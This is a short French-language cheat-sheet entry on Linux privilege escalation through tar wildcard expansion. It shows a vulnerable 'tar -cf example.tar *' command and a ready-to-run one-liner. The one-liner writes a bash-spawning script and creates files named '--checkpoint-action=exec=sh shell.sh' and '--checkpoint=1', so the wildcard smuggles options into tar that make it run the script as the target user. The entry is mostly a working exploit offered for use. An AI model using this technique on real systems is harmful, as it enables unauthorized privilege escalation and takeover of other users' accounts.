[Privesc/Linux] Tar wildcard
Introduction
Cette technique peut fonctionner si la commande tar est exécutée en tant que l'utilisateur ciblé pour l'escalade et qu'elle utilise l'option * (wildcard) pour compresser tous les fichiers du répertoire sélectionné.
Source
Exploit
Exemple de commande tar vulnérable (souvent dans un script lancé par l'utilisateur cible) :
tar -cf example.tar *
Lancer cette commande :
echo -e '#!/bin/bash\n/bin/bash' > shell.sh && echo "" > "--checkpoint-action=exec=sh shell.sh" && echo "" > --checkpoint=1
Puis démarrez le script.